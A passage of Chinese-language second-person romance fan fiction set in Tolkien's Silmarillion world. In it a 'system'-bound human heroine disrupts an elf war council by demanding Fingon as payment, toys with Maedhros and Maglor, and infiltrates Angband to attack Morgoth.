凯勒巩对人类的事情不怎么感兴趣,表现得敷衍,相较之下还是迈兹洛斯认真一些,他说:“我也很期待和人类的合作。” 看吧,这就是能不能带得动团队的差别了。 你和夏洛特来得时间不算早,这一点从议事厅里的精灵数量也能看得出来,这里的精灵那么多,该参会的基本上都已经来了。 “这次来的只有费诺里安还有芬国昐这一分支的精灵吗?”你问道。 迈兹洛斯说:“你很期待芬罗德的到来吗?” 瞧他这话说的,你只是提了一嘴而已,都没提到芬罗德的大名,迈兹洛斯就急急忙忙地把这事摆到明面上,但凡你再表现出一点对芬罗德的偏向估计他得要炸毛。 “没有,我们这次来这里也是为了商讨正事。”你的眼神在议事厅里扫来扫去,最后找到了站在父亲芬国昐身边的芬巩,他低垂眼帘,在和父亲说些什么,偶尔他的妹妹阿瑞蒂尔也会插一句话,看上去很是其乐融融。 迈兹洛斯意识到自己刚才的失态,就又补充道:“纳国斯隆德位于南方,这次的会议针对的是北方地区的作战计划。” 听上去很合理的样子,要是没有他刚刚那句反问估计你都不会往其他方面想。 等参会的精灵还有人类都到得差不多了,会议也就可以开始了,桌面上摊开一张地图,是很细致的北方地图,上面还标注了魔苟斯的势力范围,你看芬国昐和迈兹洛斯你一言我一语地讨论着,看这样子恐怕是谈不拢了。 因为芬国昐觉得迈兹洛斯的计划太激进了,而迈兹洛斯同样觉得芬国昐的方法很可能会让魔苟斯反应过来到时候增加围剿安格班的难度。 到最后谁也不能说服谁,谈判俨然陷入僵局,就在这时你举起手,迈兹洛斯最先看向你,示意你往下说。 “我可以解决魔苟斯。” 简单的一句话让在场所有精灵的视线都集中在你身上,迈兹洛斯从你的神情来判断你不是在开玩笑,也是,你也不会用这种事情来开玩笑的。 作为现场和你交过手的卡兰希尔,他也对你的实力有些清楚的了解,他知道你很强,但听你刚才说的话才知道你已经强大到了这一程度吗? 迈兹洛斯走到你身边,“你的意思是要孤身一人去应对魔苟斯吗?” 凯勒巩唰地一下站起身,不赞同地说:“不行,你这是去送死!” 卡兰希尔拍拍凯勒巩的肩膀,“那也不一定。” “你这话又是什么意思?”凯勒巩不懂为什么自己的弟弟居然在这时候和自己唱反调,据他所知卡兰希尔对你不是也有好感的吗?怎么,他居然那么狠心想要看你白白去送死?凯勒巩拍开卡兰希尔落在他肩头的手,没好气地说:“我和你可不一样。” 卡兰希尔也不是什么性子软的精灵,他们费诺里安就没一个软性格的,一个个的都刚的很,一看凯勒巩还一副什么都不知道的样子,卡兰希尔就没好气地说:“确实我们不一样,我可没你那么愚钝!” 凯勒巩睁大眼睛,卡兰希尔接着又说:“苏尔的实力远在你之上。” 迈兹洛斯出声让这两个弟弟安静一点,不要打乱会议的节奏,凯勒巩没料到卡兰希尔居然比自己还要了解你,他心里又是不服气又是烦闷,最后都变成一个眼刀狠狠地扫过去。 回过头来的迈兹洛斯再次向你确认,“但你一个人对付魔苟斯……” “我可以做到的,只需要打他个措手不及就行,这样也能给你们制造有利机会,你们也不用顾虑那么多。”你每一个字都在为他们考虑,但其实你心里的算盘已经打得噼里啪啦作响了。 你的目的怎么可能就只是这么简单呢?你当然还另有所图的啊,比如说芬巩。 坐在长桌对面的芬国昐还在犹豫中,就在这时你又开口,对着芬国昐说:“只要你们答应我一个条件,我可以保证你们这次的作战会大获全胜。” 芬国昐意识到你在和他对话,就问道:“条件?你的条件又是什么?” 你就等着他这么问了,还没等他的话音落下,你就笑盈盈地指了指他旁边的芬巩,说:“我要他。” 此话一出,会议算是彻底被打乱了,芬巩看见其他精灵在窃窃私语,他不解地皱眉,为什么是他呢?而且你说的话也实在是容易产生歧义,更糟糕的是,他发现迈兹洛斯已经误会了,因为他在迈兹洛斯脸上看到了被羞辱的神情。 芬巩急急忙忙地想要挽回什么,他向你求证:“你是不是说错了什么?也许你只是需要我的帮助?那我当然会帮助你的。” 只要你点头答应,说这只是一场误会,那么气氛又能恢复到原来的状态,可是你偏不,你就是要坚持自己最开始的说法,你说:“不,我就是想要你。” 凯勒巩炸毛了,他大骂芬巩不知廉耻还勾引你,骂得振振有词,旁边的精灵都不敢上前阻拦唯恐被在气头上的凯勒巩反咬一口,关键时刻也就只有库茹芬敢尝试着拉住凯勒巩,不过也没成功就是了。 凯勒巩就像是逮住了什么把柄,甚至还联想起之前一些细枝末节的小事情,发现这一切都能串联起来,他就更加确信自己说的是正确的。 任凭芬巩再怎么解释,凯勒巩就是不相信,芬巩说:“这一切都是你的误会。” “我的直觉可不会骗我。”凯勒巩笃定道。 再这样下去就是真的说不通了,芬巩只能将求助的眼神看向你,希望你能够说些什么,但你的唇角微微上扬,没有要帮忙的意思,甚至还对这一切很满意的样子。 迈兹洛斯说:“凯勒巩,你先给我安静一点。” 凯勒巩没再说话,气氛看似安静下来了,但真的平静了吗? 不是的,在这幅平静的假象下,仍然有暗流涌动,芬巩还想再说些什么,但是他看见迈兹洛斯的面色不虞,就没有马上开口,倒是你全然一副置身事外的样子,甚至还有点要看好戏的意思在里头。 难道看到这一幕会让你很开心吗?你就是在期待看到他们手足反目成仇的一幕吗? 芬巩发现自己好像有些看不穿你,而你也在这时候突然说:“我希望你们能够好好考虑一下,如果我去对付魔苟斯的话,你们应该也能减轻许多不必要的伤亡,我这也是为你们考虑。” 说来说去你都好像是在为他们考虑似的。 芬巩无法说出拒绝你的话,毕竟这件事情也不是他一个精灵能够决定的,倘若他的父亲还有其他的精灵觉得适合的话,那他也不是不可以答应你的条件,只要这样能够对其他精灵有益。 一时间在场的精灵都心思各异就连夏洛特也觉得自己好像重新认识了你一遍,你和她之前接触的那副温和友善的形象有所不同。 “你们也不用急着回答,我的耐心很充足。”你说道。 这根本不是着急不着急的事情啊。《 》 45-50 第46章 “现在满意了吗?你赢了。” 虽说是你掀起了这场风波,但从始至终你都置身事外,甚至还颇有点在看好戏的意思在里头,夏洛特就没有你那么云淡风轻了,在会议中途暂停的时候她忍不住小声地问你, “这样下去真的没问题吗?” 你说:“不会, 就算真的有问题苦恼的也不过是他们。” 至于你,反正你的目的已经达成了一大半。 既然会议暂停,你就索性带着夏洛特去外面转转,她还在担心合作的事情,更担心的是你真的要单枪匹马地去应付魔苟斯。 她和你走在花园小径里的时候她说:“但我还是不想你去冒险。” 虽然没细说,但你也知道她说的是你去解决魔苟斯的事情, 你说:“这对我来说不是冒险。” 夏洛特叹了一口气,知道自己无法劝说你, 她只能说:“好吧, 看来我对你的了解还只停留在表面, 你身上有太多秘密了。” 说着说着她都有些郁闷了,明明自己已经和你相处那么多年了,结果到头来对你知之甚少。 你真的有把他们当成同伴吗?还是说你只是心血来潮才想要帮助他们的呢? 不,她不该对你那么苛责的,因为无论怎么看你也已经为他们付出了许多,从你的行为来看你已经是一位圣人了,至于其他的,追究太多又有什么意义呢? 夏洛特又问:“你和那些精灵的关系不仅仅是朋友吧?” “被你看出来了吗……”你也不回避, 既然她问了那就大大方方地回答,你说:“差不多吧, 就是稍微有点情感瓜葛的关系。” 这么说都算程度轻的了。 夏洛特若有所思,就在她要说些什么的时候玛格洛尔的身影忽然出现在小径的尽头,看那样子似乎是要对你说些什么,夏洛特很识趣地说:“我还是一个人去别的地方看看吧。” 说完这话她就从你身边离开,这座花园里就只剩下你和玛格洛尔面面相觑,玛格洛尔在夏洛特走后便缓步向你靠近,步子很慢,他说:“刚才你在会议上说的话……” 你就知道他是来问这个的,也不奇怪,甚至可以说是意料之中,你坦然承认,“这些都是我的真心话,一点都不掺假。” 这句话断绝了玛格洛尔认为你是有苦衷的可能,倘若你刚才说自己只是开玩笑,亦或是有其他的理由,玛格洛尔都会顺着台阶往下走,但是你连这个机会都没有给他,你只是浅笑着,用满不在乎的语调说着。 玛格洛尔垂下眼帘,又说:“你喜欢芬巩?我以前怎么没有看出来。” “因为我以前表现得不明显啊。”你说。 你在笑,他在沉默,你们两个形成鲜明对比。 也不知道玛格洛尔沉默了多久,等他再开口的时候语调明显变得哀愁,他说:“有时候我也看不懂你,明明你就站在我面前,但我们之间的距离还是那么遥远。” ……因为玛格洛尔说的话太咯噔以至于你被噎了一下。 这么咯噔的台词你还以为只有凯勒巩才说得出口呢,怎么玛格洛尔也逐渐凯勒巩化了? 你对玛格洛尔做了个打住的手势,好了打住,再这样下去真是没完没了了,你说:“人心本身就是瞬息万变的,哪怕上一秒你还觉得了解我,但下一秒又会发生变化。” 玛格洛尔又说:“但你这样做也会让迈兹洛斯很伤心。” 他不说自己,只说自己的哥哥迈兹洛斯,实际上难道伤心的只有迈兹洛斯一个吗?显然不是的,他也会感到不解和失落。 你究竟是从什么时候开始对芬巩感兴趣的呢?在他的记忆里你和芬巩的接触也不多,只能算是点头之交,连朋友都算不上,估计芬巩也是这么想的,所以刚才听见你这么说才会那么惊讶的。 难道是他错过了什么吗?玛格洛尔又开始反复地回忆和复盘,但都没有找到什么有用的线索。 你在花园小径旁边的长椅上坐下,背靠着椅背,你又抬起头对着玛格洛尔招招手,玛格洛尔虽然不解但还是在你身边坐下,你说:“我似乎未曾对你亦或是你的兄长迈兹洛斯许下过什么诺言吧?” 你的视线扫到玛格洛尔的嘴唇动了动,还没等他开口你就接着又说:“是,我承认我的确说过喜欢这一类话语,那么我想请问,我有说过这份喜欢是亘古不变的吗?归根结底,我所表达的只是我当下的心情而已,是具有时效性的。” 估计玛格洛尔也没遇到过像你这样一本正经说歪理的人类,所以他愣了好一会,才确定你是在诡辩,他说:“我不认同你的说法。” 行吧,不认同那就不认同吧,你随意地点了点头,反正你又无法控制别人的想法,他们怎么想都是次要的,反正你现在的目的已经达到了。 你单手托腮,反问道:“你现在那么关心兄长的爱情那你当初又为什么要和我产生瓜葛?从某种程度上来说你不也在破坏迈兹洛斯的恋情吗?” 与其一味地解释,倒不如主动出击反问对方当初为什么要当小三呢。 他都当小三了怎么还能这么理直气壮地当他哥的爱情保安啊? 这不是纯纯左右脑互搏吗?他难道不觉得矛盾吗? 玛格洛尔说:“不可否认我对你的感情确实影响到了迈兹洛斯,但是……” 但是了半天都没说出后文,估计是玛格洛尔也发现了自己不占理,他就改口了,说:“这都是我的错。” 啊?他就这么从善如流地认错了吗? 玛格洛尔话锋一转,“但我还是不希望你去冒这么大的风险。” 这风险很大吗?你回忆了一下自己和魔苟斯的狗腿子索伦交手的经历,嗯……不能说是剑拔弩张紧张刺激,只能说是赢得毫无悬念,要不是索伦太苟了,你早就一刀下去把他给砍成两半了,如果你真的和魔苟斯对上的话唯一需要注意的就是得要警惕魔苟斯跟你来阴的。 “我相信他们权衡利弊以后肯定会做出明智的选择的。”你信心满满。 在你和玛格洛尔聊天的时候迈兹洛斯确实还在和其他精灵商讨这件事,他和芬国昐你一言我一语地说着,站在旁边的芬巩偶尔也会说几句话,但不知道是不是他的错觉,他的堂兄迈兹洛斯对他的态度也变得有些微妙。 没错,就是微妙,像是在刻意回避什么,但又忍不住在意。 最后他们讨论得出的结果就是倘若让你去偷袭魔苟斯打他个措手不及,确实能够给他们争取不少机会,迈兹洛斯身为领导者有的时候也需要做出顾全大局的决定,现在就是个关键的节点。 “看来不如顺着她的意思……”芬国昐说。 这次迈兹洛斯没有反驳,芬巩还在安静地观察迈兹洛斯的神情,他蹙着眉,显然是陷入了进退两难的境地,他的父亲芬国昐也没有逼迫迈兹洛斯,只是把所有的利害关系都和迈兹洛斯仔细说一遍而已。 在他们两个都沉默的时候芬巩轻咳一声,将他们俩的视线吸引到自己身上,他接着说:“既然这是最佳的选择那么就按照她说的来吧。” 迈兹洛斯表情古怪,他说:“你知道这意味着你要付出什么吗?” “我知道。” 这种时候迈兹洛斯都不知道该说芬巩他极具奉献精神还是他太不了解你了呢? 迈兹洛斯长久地凝望着芬巩,气氛也变得凝滞起来,就在芬巩以为迈兹洛斯在生气的时候他的嘴唇动了动,“我不明白,她到底是从什么时候开始对你感兴趣的?” 和这句话一同落下的还有那道具有审视意味的目光,他在审视着他。芬国昐说:“也许她只是想让芬巩去帮忙而已。” 帮忙?那只能说明他一点都不懂你。 为什么这样的命运会落在他身上呢?当初他被魔苟斯俘虏的时候在内心默默祈祷,希望自己有朝一日能够离开安格班,然后他等来了你,他原先以为你是维拉的眷顾,但现在看来,你带给他的折磨一点也不比在安格班的时候少,只不过后者是身体上的折磨,而你则是擅长在情感上玩弄折磨他。 芬巩叫了一声迈兹洛斯的名字,迈兹洛斯这才回过神来,他说:“那就只能这样了。” 芬巩莫名觉得迈兹洛斯那头如同火焰般的长发此刻也变得黯淡了许多。 这场会议最后以你的提议通过落下帷幕,不管那些精灵是怎么想的,反正你目前心情很不错,还带着夏洛特去参加晚上的宴会了,这是夏洛特第一次参加精灵的宴会,你作为一个过来人提醒她精灵宴会上的酒精度数都很高,别看味道甜滋滋的像是果酒,但其实是烈酒。 夏洛特将你说的话谨记于心捧着一杯果汁在宴会上闲逛,偶尔也会遇到一些友善的精灵,她便会和对方聊几句,你也不是一直陪在夏洛特身边的,毕竟她也不是小孩子了而是可以独当一面的领导者了。 你站在宴会厅的另外一边,手里端着的当然也是果汁,你才喝没两口果汁,芬巩就找了过来,真难得,以前可都是要你主动才能找到他的,你笑盈盈地看向他,说:“请问你有什么事吗?” 芬巩欲言又止,显得纠结得很,你看他那么磨磨蹭蹭的,就说:“你是不是有什么话要对我说?” 你都已经那么贴心地把话题给打开了,案例来说芬巩只需要继续往下说就行了,他也正如你所预料的那样说:“关于你提出的条件,我答应了。” 话是这么说的,可芬巩面上看起来却多多少少有些不情愿,准确来说也不是不情愿,只是他一时之间有些难以接受而已,在他看来你们在此之前姑且算是朋友,至于现在……因为你说得那一番话,他和你的关系也再难回到从前。 你们之间的关系像是被揉成一团的白纸,就算再次展平,上面的皱痕也不会消失,所以芬巩无论如何也难以用以前的态度来对待你,现在他怎么和你说话都会觉得不自在,甚至是觉得无所适从。 芬巩尽可能地想要让自己显得没有那么不自然,但是失败了,他面对你的时候眼神飘忽不定,尤其是和你四目相对的时候,他差点就要屏住呼吸。 他这一系列的反应反倒是让你觉得有意思,你主动向他靠近。 你靠近一步,他就后退一步,不知道的人还以为你们这是在跳舞呢。 芬巩为难地说:“请别这样。” “我又不是在刻意刁难你。”你摊手。 的确,你的所作所为不是刁难,只是给他们出了一道难题而已,眼看你不再靠近,芬巩这才站定脚步,他说:“如果你有什么需要我帮忙的地方,那我一定会帮助你的。” 他未免也太单纯了一点吧?还以为你所说的索要他就是让他来帮忙吗? 你说:“是么,但有些忙帮助起来也是有些麻烦的。” 此时的芬巩还不知道你所说的很麻烦的忙是什么,他只是想要改变现在尴尬微妙的气氛,总而言之,还是先换一个话题吧,这么想着的他又开始说些别的有的没的。 他在不经意间提到费诺里安的誓言,当年为了夺回那三颗精灵宝钻他们跟着父亲费艾诺立下誓言,不仅仅是对着维拉起誓,更是对伊露维塔起誓,如今魔苟斯仍然将精灵宝钻占为己有,只要一天没能夺回精灵宝钻,他们费诺里安就多一天遭受誓言的折磨。 或许迈兹洛斯还未曾和你说过这些,因为你在听芬巩说这话的时候脸上浮现出困惑的神色。 是的,就是困惑,你说:“誓言无法完成也会遭受报应吗?”这个世界的誓言还这么严格的啊? 倒也不是所有誓言都会有这下场,只是费诺里安的誓言太沉重,是精灵无法承担起的誓言。 “只是他们的誓言比较特殊。” 果然迈兹洛斯没有和你说过这回事啊,也是,迈兹洛斯一向不会在亲密的人亦或是精灵面前暴露出自己脆弱的一面。 你耐心地听芬巩说完这些,然后说:“那么只要从魔苟斯手里拿回那几颗精灵宝钻不就好了吗?” “理论上来说是这样的,但真的实践起来又何其容易呢?”既要不惊动魔苟斯,还要全身而退,哪怕他们费诺里安齐心协力都很难做到。 你倒觉得没那么难,只是他们把事情给复杂化了,当然也有可能是因为武力不足,那句话怎么说的来着?哦对,一切恐惧都来源于火力不足,一旦武力值跟上来了,那这些问题都不算问题里了。 反正你是这么认为的。 “我会好好考虑的。”这个话题以你这句话作为收场,就在芬巩开始思考再换个别的话题的时候你先一步开口,说:“在这次战争结束以后你和我一块去游历吧。” 芬巩自然而然地把你这话当成了请求,如果只是游历的话……他也可以接受,毕竟朋友之间也经常会那么做不是吗? 和你聊了一会的芬巩逐渐放松下来,他欣然答应你的邀请,丝毫不知道这份请求背后还带着其他的附加条件,反正他以后都会知道的,你也不急于现在就让他知道。 你又喝了一口果汁,入夜以后你来到迈兹洛斯的房间,见他坐在桌旁还在研究地图,斜倚着门框的你出声,“怎么现在还在看地图,你不应该好好休息吗?” 迈兹洛斯没想到你会找过来,老实说,他以为你移情别恋了。 要说对你一点生气都没有那肯定是假的,但要说他真的对你很生气吗?又好像还没到这种程度,他说:“你怎么还有心思来找我?我以为你早就把我给忘了。” 好浓重的怨夫味,你好笑地说:“行吧,那我现在走总行了吧?” 还没等你走出两步路迈兹洛斯的声音就追了上来,他说:“既然你都已经来了,现在又为什么要走?” 显然是在挽留你,你回过头,迈兹洛斯还站在灯火下,暖色的灯光映照在他的上半张脸,在深邃的眉眼处投下一片阴翳,正如同他此刻的心情,灰蒙蒙的,笼罩着一层阴影。 “我可以理解为你在挽留我对么?”你说得轻飘飘的,但就是你那么轻描淡写的话语落在迈兹洛斯的心上又变得那么沉重,沉甸甸的。 “反正什么话都让你说去了,我又能说些什么呢?”郁闷的迈兹洛斯说话都是闷闷的,不住地用幽怨的眼神瞧你。 “既然已经同意让我去对付魔苟斯了,那你也没必要那么劳神了。” 这话很容易让迈兹洛斯误认为你所做的一切都是为了分担他的压力,从客观角度来看确实是这样的,但是,如果你只是单纯地想要分担他的负担,又为什么要把芬巩当做报酬呢?他现在和芬巩的关系都变得古怪了。 迈兹洛斯还是把这话问出口,“部署作战计划只是一方面,还有别的事情影响我的心情,你知道是什么的。” 都到这时候了他怎么还在和你玩“你猜猜看”的游戏啊,你说:“是我和芬巩的事情吗?我确实对他心存好感。” “你只是觉得好玩吧?” 迈兹洛斯挺了解你的,知道你还有一部分原因就是觉得这很好玩,你耸耸肩,不置可否,不否认也不承认。 于是迈兹洛斯默认了。 “我以为我会恨你的,但是我发现我做不到。”迈兹洛斯的语气平静,你在他身上看到了玛格洛尔的影子,今天下午在花园里的时候玛格洛尔也说过这么咯噔的话。 他们兄弟俩在你看不见的角落里竟然变得这么咯噔了吗? “你就算是恨我也没关系。”你是个宽容大度的人,恨就恨了,顶多就是好感度往下降而已,问题不大,你还有其他攻略角色的好感度撑着呢。 “你很希望我恨你?不,你是希望我和你一刀两断吧?你果然早就已经对我们的感情产生了厌烦。”他早就该料到的,从你许久没有写信回来的时候就该有所察觉的,但他那个时候还抱有期望,认为你只是太忙,又或者是被其他更加重要的事情分散了注意力。 迈兹洛斯笑了下,是被气笑的,他说:“你不能这样,得到他人的真心以后又弃之不顾,这样狂妄自大的你势必要付出代价的。” 是么,你还需要付出怎样的代价呢? 你微微眯起眼睛,灯火下的你面容朦胧,迈兹洛斯仅存的,为数不多的怒火也被你盈盈的笑意浇灭,他抱住你,与其说是拥抱你,倒不如说是将自己身形依靠着你,他说:“我还是恨你。” 恨你,也爱你。 这两种感情同样浓烈,如此矛盾,就存在于他的内心,如同燃烧的火焰,几乎要将他自己灼伤。 而你呢,你就没有迈兹洛斯那么纠结了,你只是伸出手安抚似的,有一下没一下地抚摸他的头发,再一路延伸,轻轻抚摸他的背脊。 这起到了一定的安抚作用,但迈兹洛斯还是恨你,恨你的满不在乎,恨你的三心二意,更恨你不爱他。 “日后我再见到你……我一定会诅咒你。”他从喉咙深处挤出自己最后的反击,他要用恶毒的语言诅咒你。 诅咒你…… 诅咒你什么呢?你又有什么真正在乎的东西吗? 好像没有。 看啊,他连诅咒你都做不到。 迈兹洛斯抿抿唇。 你还一直顺着他的话头说:“好啊,那你就诅咒我吧,我很期待你诅咒我的啊。” 但凡你表现出哪怕一点点的不舍得和犹豫迈兹洛斯都会选择原谅你的,但你没有,你仿佛真的在期待他的诅咒。 这让迈兹洛斯感到无力,他说:“你赢了。” 你赢得那么彻底,他输得一败涂地,他甚至都不知道该用什么来威胁你。 迈兹洛斯抬起头,他的眼神带着点厌恶,“现在满意了吗?你赢了。” 第47章 “精灵的军队来了!?” 什么赢不赢的,你从一开始就没想过要和他争个输赢啊,因此你略带疑惑地眨眨眼,后者想要松开手,但果然还是做不到,他没办法放开你,最后还是你后退一步,他的手垂下,尽可能克制着不让自己去看你,免得再与你四目相对的话就会忍不住出声挽留你。 他是知道的,就算再怎么挽留,你也不会留下的。 他这样做简直就是在自取其辱, 他想。 所以他将头侧过去,声音波澜不惊,再没有刚才的情绪起伏,仿佛对待你只是对待一个陌生人。 但越是装出来的冷漠就越是刻意, 你越是能够看出他心里的在意。 不过至少他也没有闹得太大,这一点可比凯勒巩好多了,哦对, 说起凯勒巩, 你懒得去应付他了, 于是你就用商量的口吻对迈兹洛斯说:“对了,凯勒巩那边就麻烦你和他说一声, 不是我不想和他当面告别, 但你身为他的哥哥肯定更加了解他的性格。” 你要是把刚才那一番话对凯勒巩说了,他的反应绝对没有迈兹洛斯那么成熟,估计会炸毛,闹得人尽皆知,你虽然喜欢看热闹但不代表你也喜欢变成热闹的一部分,所以你这也是经过慎重考虑以后的决定。 只是你说的话在迈兹洛斯听来就是另外一层意思了,他说:“你都不愿意和他多说一句吗?” 不是愿不愿意的事情,而是凯勒巩的性格的问题,你摊手,“是他太容易胡搅蛮缠了,我相信你肯定能处理好这件事的。” 说着,你差点就要伸出手拍拍他的肩膀表示鼓励,但伸出的手中途僵在半空中,鉴于你们刚才已经划清界限了,你确实应该保持距离,但你的犹豫不决被迈兹洛斯看在眼里,他脱口而出,“我们竟然已经生疏到这种地步了吗?” 真别扭,这别扭程度居然和凯勒巩有的一拼,你最后还是拍拍他的肩膀,说:“那就麻烦你了。” 迈兹洛斯没再说话,你也踩着沉默的间隙离开这里。 把事情都交代得差不多的你心情不错,接下来唯一需要稍微上点心的大概就是突袭魔苟斯的计划了。 因为之前有过潜入安格班的经历,所以如果在这近百年间魔苟斯没有对安格班进行大动工的话,那里面的地形你还算清楚。 正所谓一回生二回熟,这个道理放在潜入安格班这件事上也是通用的。 你的行动效率很高,说做就做,在精灵会议结束后没多久你就孤身一人骑着马前往北方,夏洛特与你同行了一段路,又在后半程分道扬镳,她得要先回人类城池,并且还得要率领军队与精灵军队汇合,你们两个手头都有重要的任务要执行所以你们在分别的时候也没有说太多,只是交换一个眼神,然后就互相朝着对方点点头再分别。 虽说当初魔苟斯因为芬国昐率领的诺多精灵的到来稍微老实了一会,但他本身就不是个安生的主,只是安分了一段时间而已,现在北方的安格班又开始朝着周围扩张。 而且还不是单纯的扩张,是把这周围的土地都弄得乌烟瘴气,所到之处寸草不生,效果堪比百草枯。 因此你都不需要特意观察,周围枯萎的花草树木都会提醒你前方就是魔苟斯的地盘了。 在进入这片枯死的草地前你先从马背上下来,摸了摸马儿的脑袋,又对它说:“你先走吧,接下来的事情我能处理。” 主要是因为之后的路途要是骑马就显得太显眼了,如果提前被魔苟斯发现的话那你的偷袭就不起作用了,所以越是靠近魔苟斯的老巢你就越是小心谨慎,以免打草惊蛇。 而此时此刻正在安格班内部的魔苟斯虽然通过自己的眼线得知了一些情报,听闻那些精灵有要进攻安格班的意思,但他也不会坐以待毙,倒不如说他已经为此,为日后可能与精灵发生的战争做了充足的准备,他知道这一天迟早会到来,所以这些年来都费尽心思地未雨绸缪。 但魔苟斯千算万算都不会想到还有人会孤身潜入安格班,就在他的眼皮子底下接近他甚至是要偷袭他,更没想到对方还是个人类。 你也不是没日没夜地只知道赶路,毕竟你就算绑定了系统还点亮了金手指,但你也是个活生生的人类,也会感觉到疲惫的啊,而且一直赶路只会让你觉得自己是在赶工作的进度。 一下子就变得好命苦。 中途停下来休息的时候你还不忘打开系统的好感度面板查看其他攻略对象的好感度,然后发现之前说是要和你闹掰的迈兹洛斯好感度仍然排在前列。 行吧,口是心非的精灵是这样的,你还得要手动翻页才能找到芬巩,唉,他的好感度是怎么做到这么低的呢?你也是真的没招了才选择强取豪夺的,你之前尝试的方法都不奏效,他的好感度始终维持在朋友的范围内,现在经过一个小插曲,更是不增反减。 哈哈……这还真是激发了你的叛逆心理啊,你无奈地笑了一下,又忍不住开始好奇要是强取豪夺的话他的好感度到底能跌到什么程度呢? 就当是做个实验吧。 关闭系统的好感度面板,你又从斜挎包里拿出一些干粮,是实打实的干粮,吃起来干巴得差点划伤你的上牙膛,因此你只能小口小口地吃,而且咀嚼的动作也要放得很缓慢。 这就导致你吃一顿下来花费了不少时间。 再喝了几口水,那不是普通的山泉水,而是你在离开希姆凛的时候精灵给你准备的饮品,不光能解渴,还能补充能量恢复精神。 要是你玩的是RPG游戏的话那么在喝下这饮品以后你的体力值还有蓝条都会得到恢复的吧。 站起身,将水壶挂在身上,接着继续往前走,这样的生活持续了几天,鉴于安格班领范围内的天空无论白天黑夜都是一副漆黑的状态,所以你只能粗略的估计自己抵达安格班的时候应该是下午。 遮天蔽日的乌云也给那些被魔苟斯创造出来的黑暗生物提供了活动的条件,这些生物无法在阳光下行走,是真正意义上的见光死。 你走在幽暗的山林间还得时刻提防不知道从哪里窜出来的蜘蛛,那些蜘蛛的体型也不是普通的小蜘蛛,而是有成年人那么高大的巨型蜘蛛,不过也只是体型有些吓人而已,实际上解决起来倒是很简单,一剑刺穿蜘蛛的脑袋就行。 你杀蜘蛛的动作干脆利落,不带一丝一毫的犹豫,在蜘蛛的口器还没对你发动攻击的时候你就抢先一步下手。 穿过山林的小路上很快就躺满了不少大蜘蛛的尸体,你绕开那些散发着腐蚀性液体的蜘蛛尸体,最终来到山林小径的尽头,站在这里眺望远方你都能够望见安格班的塔楼了,没准现在魔苟斯就待在塔楼里。 你没在原地停留太久,你按照记忆中的路线朝着安格班前进,这次你没从大门进去,而是找了一个偏僻的侧门,大部分的守卫力量都集中在大门口,魔苟斯可能是觉得精灵们大多正义凛然就算来打架也会走正门的吧? 确实,精灵确实是这样的,但你是人类啊,狡猾无常的人类,你果断选择钻空子。 侧门口的守卫力量就没有大门口那么多了,只是一小支半兽人巡逻队伍而已,你甚至都没有拿出自己的刀剑,只是用匕首就轻轻松松地将他们解决,为了掩人耳目,你基本上都是踩着偏僻的小路朝着安格班中心走去的,至于那些被你暗杀的半兽人你也谨慎地都藏了起来,免得被其他巡逻的半兽人发现。 做完这些的你额头上都冒出一层薄汗,你抬手用手背擦去细密的汗水,顺便调整自己的呼吸,屏息凝神,忽然之间你停下脚步,因为你在不远处看见了之前打过的索伦。 真是冤家路窄,居然先撞见了他,虽然很想再揍他一顿把上次没揍的给补回来,但你想起自己身上的任务,只能暂时装作没看见索伦。 而索伦呢,他还在和半兽人的队长交谈,准确来说是在下命令才对,他显得有些不耐烦,究其原因还是因为半兽人呢执行任务有一半的可能会失败,就算成功了也不尽如人意。 所以索伦给这些半兽人布置的任务大部分都是不需要动脑袋的,要是这种任务还会搞砸的话,那还不如直接把他们给销毁算了,反正也没什么用。 说完命令的索伦似乎感觉到了什么,他的内心隐约泛起些许不安,等等……他为什么会觉得有些奇怪呢?他不禁环视四周,一切如常,可他的直觉告诉他就是有奇怪的地方 就好像是危险正在逐步靠近,索伦皱眉,难道是他多虑了吗?不过他现在还在安格班内部,又怎么可能会有危险呢?就算是精灵真的打算来攻击安格班,那战争不还是没有打响吗? 索伦自从那次被你暴揍一顿后就变得愈发多疑,就连勾斯魔格都说过他好几次,说他这是胆子都被你给吃了。 简直是笑话。 索伦最后收回自己的目光,朝着另外一边走去,而身处暗处的你还在静静地观察着他。 刚才有一瞬间你还以为索伦就要发现你了呢,但他只是起了点疑心而已,你见他走后才从暗处出来,这次你的目标非常明确,那就是杀死魔苟斯,这样想着的你朝着魔苟斯所在的大厅走去。 据你所知魔苟斯平常没事就喜欢待在这个大厅里,这次你也猜得没错,你透过大厅侧面的窗户看见坐在王座上的魔苟斯,佩戴在他头上的王冠镶嵌着三颗精灵宝钻,只不过因为长时间被黑暗包围,这精灵宝钻的光芒远不如当初在造物者费艾诺手里时那么耀眼,乍一眼看过去还会觉得这宝钻被黑暗侵蚀了。 别说,魔苟斯还挺讲究的,不光是给自己打造了一顶王冠,还给自己打造了配套的王座。 谁说只有精灵讲究的,你看魔苟斯也挺讲究的,你依旧是躲在暗处观察了魔苟斯好一会,魔苟斯在沉思的时候已经完成了很多事情,毕竟他就算堕落了也是维拉,维拉拥有的力量他也拥有大半,所以有些事情他仅仅只是思考就能做到。 你看了一会,确认索伦还有其他的爪牙在这个时间段不会过来你直接从大厅的屋顶一跃而下,手中的刀剑寒光一闪,刀光剑影间你的刀剑就已经没入魔苟斯的胸膛,但只没入一半,你还是低估了魔苟斯的皮糙肉厚。 你紧握着刀柄再尝试着将刀剑推进去,你的力气是够了,但刀剑还不够坚硬,至少和魔苟斯的外皮一比就显得脆弱许多,因此你一用力只听见咔嚓一声,不是魔苟斯变得四分五裂而是你的刀剑从中间齐腰折断,四溅的碎片倒映出你略带惊讶的神情。 “从刚才开始我就感觉到了异常的地方,果然,是你这只老鼠偷偷跑了进来。”魔苟斯的声音低沉沙哑,是很符合反派刻板印象的那种嗓音。 不过他有礼貌吗?直接把你称之为老鼠,你撇撇嘴,说:“如果不会说话的话可以不说。” 魔苟斯冷笑一声,满是嘲讽,像是在嘲笑你的不自量力,居然跑到他的地盘上还用这种毫无杀伤力的武器试图暗杀他,他居高临下地俯视你,他的身量本来就很高大,当初在塑造自己的外形时魔苟斯就为了增加自己的压迫感和威严将自己的身量变得高大。 “是那些精灵派你来的?那你应该知道他们这是让你来送死的,看来那些精灵也没有多喜欢你。” 出现了!反派最常见的毛病,那就是遇到主角攻击不会直接反击而是来一段意味不明的发言,你得要感谢这个世界的反派是很典型的反派,而不是那种人狠话不多直接一刀九九九的反派。 这样反倒是给了你思考的时间,你趁着魔苟斯说些有的没的顺便嘲讽你被精灵当做弃子的时候观察他的弱点。 是眼睛吗?还是别的地方? 